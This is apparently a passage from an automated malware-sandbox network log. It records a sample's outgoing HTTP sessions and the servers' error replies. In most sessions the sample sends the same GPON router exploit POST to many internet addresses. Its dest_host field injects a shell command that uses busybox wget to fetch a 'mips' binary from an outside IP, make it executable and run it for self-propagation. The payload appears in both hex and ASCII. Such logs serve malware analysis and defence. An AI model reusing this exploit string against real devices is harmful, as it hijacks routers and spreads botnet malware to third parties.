6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
971	192.168.2.13	46762	186.5.109.228	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.171519041 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.452235937 CEST	93	IN	HTTP/1.0 301 Moved Permanently Location: https:///GponForm/diag_Form?images/

Session ID	Source IP	Source Port	Destination IP	Destination Port
972	192.168.2.13	53782	27.236.80.3	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.181744099 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.488954067 CEST	35	IN	HTTP/1.0 301 Redirect
Apr 15, 2024 08:53:29.488976955 CEST	377	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 20 41 70 72 20 31 35 20 31 35 3a 35 33 3a 33 30 20 32 30 32 34 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: Date: Mon Apr 15 15:53:30 2024Pragma: no-cacheCache-Control: no-cacheContent-Type: text/htmlSet-Cookie: (null)Location: http://127.0.0.1:8899/login.asp<html><head></head><body>This document has moved to a new <a href="http://

Session ID	Source IP	Source Port	Destination IP	Destination Port
973	192.168.2.13	57654	108.138.196.242	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.192150116 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.497867107 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:29 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 6d78dce8dfeea5d4f7e9bb6a979e2c5e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP64-P2 X-Amz-Cf-Id: yCw1YfLy_DqXOnDotprYGFUkDTRyemwBSQKHTCasqUM4Ri7LoSczfw== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 79 43 77 31 59 66 4c 79 5f 44 71 58 4f 6e 44 6f 74 70 72 59 47 46 55 6b 44 54 52 79 65 6d 77 42 53 51 4b 48 54 43 61 73 71 55 4d 34 52 69 37 4c 6f 53 63 7a 66 77 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: yCw1YfLy_DqXOnDotprYGFUkDTRyemwBSQKHTCasqUM4Ri7LoSczfw==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
974	192.168.2.13	48672	34.252.121.151	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.198695898 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.510916948 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:29 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.13	45480	39.136.154.133	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.332108021 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.690824032 CEST	325	IN	HTTP/1.1 400 Bad Request Server: ZXCACHE Date: Mon, 15 Apr 2024 06:53:29 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
976	192.168.2.13	34716	3.105.192.81	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.341413975 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.709753036 CEST	534	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 340 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 69 70 2d 31 37 32 2d 33 31 2d 32 34 2d 31 36 31 2e 61 70 2d 73 6f 75 74 68 65 61 73 74 2d 32 2e 63 6f 6d 70 75 74 65 2e 69 6e 74 65 72 6e 61 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at ip-172-31-24-161.ap-southeast-2.compute.internal Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
977	192.168.2.13	50640	54.192.169.220	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.368448973 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.763689995 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:29 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 2d445e7e9cf5ac107782df213268c6d8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DEL51-C1 X-Amz-Cf-Id: Sju6FlTYZ2hXF5JSwWV0KHWJIZbaPltb5J-dChe0U_l6ILZGOb9mNQ== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 53 6a 75 36 46 6c 54 59 5a 32 68 58 46 35 4a 53 77 57 56 30 4b 48 57 4a 49 5a 62 61 50 6c 74 62 35 4a 2d 64 43 68 65 30 55 5f 6c 36 49 4c 5a 47 4f 62 39 6d 4e 51 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: Sju6FlTYZ2hXF5JSwWV0KHWJIZbaPltb5J-dChe0U_l6ILZGOb9mNQ==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
978	192.168.2.13	39934	71.34.5.73	7547

Timestamp	Bytes transferred	Direction	Data
